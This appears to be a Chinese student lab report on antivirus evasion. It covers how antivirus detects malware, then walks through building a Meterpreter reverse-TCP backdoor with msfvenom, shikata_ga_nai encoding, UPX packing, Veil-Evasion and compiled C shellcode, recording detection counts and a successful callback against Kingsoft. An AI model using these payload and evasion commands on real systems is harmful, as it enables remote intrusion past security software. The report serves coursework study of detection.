Exp3 免杀原理与实践
一、基础问题回答
1.杀软是如何检测出恶意代码的?####
(1)基于特征码的检测
特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。
优点:检测效率高、能精确检测恶意软件类型和具体名称。
缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
(2)启发式恶意软件检测
一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。
优点:可以检测0-day恶意软件(0day是反盗版的打击对象,指在安全补丁发布前被了解和掌握的漏洞信息),具有一定通用性
缺点:实时监控系统行为,开销稍多,没有基于特征码的精确度高
(3)基于行为的恶意软件检测
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
缺点:可能误报、不能识别病毒名称、实现时有一定难度。
2.免杀是做什么?
免杀,即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
(1)变形特征码:
-
只有EXE:
-
加壳:压缩壳 加密壳
-
有shellcode:
- encode编码、payload重新编译
-
有源代码:
-
翻译成其他语言
(2)改变明目张胆的行为:
改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
改变操作模式 - 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
(3)非常规免杀方法:
使用社工类攻击、纯手工打造一个恶意软件等等。
二、实践总结与体会
本次实验是在上海的宾馆、高铁上买全国流量、以及回到学校熬夜做完的,过程非常极其的辛苦,这就是假期玩的太嗨的代价。实验中,下veil-evasion、Visual Studio时下了好多次,用了很长时间才成功,电脑又不好,本人精神状态也不好,感觉是真的辛苦,深刻体会到时间的重要性.....从实验中知道了还是不能太依赖杀软。ecode编码和加壳已经不太行了,使用veil-evasion将payload重新编译也还可以,在本次实验中可以在金山查杀下实现免杀,不过经过本次实验,还是将源代码翻译成其他语言的方法最可行。
三、离实战还缺些什么技术或步骤?
缺少迷惑被攻击者的手段,使他们主动上勾。
四、实践过程记录
1、使用msf编码器
msfvenom生成4304_backdoor.exe文件(同上次实验),传到win主机,用金山毒霸11(病毒库2018.04.03.13)扫描后门,结果如下,被报毒:
上传到virscan扫描,结果自然不会怎么样,19个报毒,如下:
那么编码1次呢,使用:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.126.129 LPORT=4304 -f exe > 4304-encoded.exe
还是报毒。上传到virscan扫描:
竟然变成20个报毒!!!
不信了,编码10次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --i 10 -b ‘\x00’ LHOST=192.168.126.129 LPORT=4304 -f exe > 4304-encoded.exe:
依旧报毒。扫描一下:
嗯...此编码技术可以选择放弃。
2、upx加壳
使用命令upx 4304_backdoor.exe -o 4304upxedexe
运行时,直接被金山查杀:
扫描一下,12个报毒,比encode编码好一些...
3、Veil-Evasion__payload重新编译
Veil-Evasion的安装:
百度了很多之后,我使用如下方法即可安装成功(依次输入下面的指令)
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
此时跳出 python for windows 的安装界面,我们点击next 即可,跟据指南,一路next,有需要勾选的选项全部选中,在一系列繁杂的安装过程后,我们就可以来正常使用 Veil-Evasion 啦!我们进入到Veil-Evasion目录下cd Veil-Evasion/
,执行如下命令:
python Veil-Evasion.py
,就可成功进入到菜单界面!
选择一个用C语言生成的payload use c/meterpreter/rev_tcp.py
,起个名字:
记住生成文件所在位置,进入该位置,传到win主机上:
直接被金山查杀:
添加信任后,也无法回连:
上传到virscan扫描一下,如下:
8个报毒,嗯,但效果又提高了。
用upx加壳上面veil生成的程序:
金刚依旧报毒,用virscan扫描一下,竟然变成10个报毒...
添加信任后,回连也没有反应。。。还不如不加壳。。。
4、利用shellcode编程
生成C语言格式的shellcode数组,如下:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=4304 -f c
使用Visual Studio2017,进行的后门的生成:
找到生成的后门文件,上传到virscan扫描一下:
只有4个报毒,效果不错,金山自定义查杀一下指定文件,如下,也没问题:
在金山开启时,尝试回连,如下,回连成功!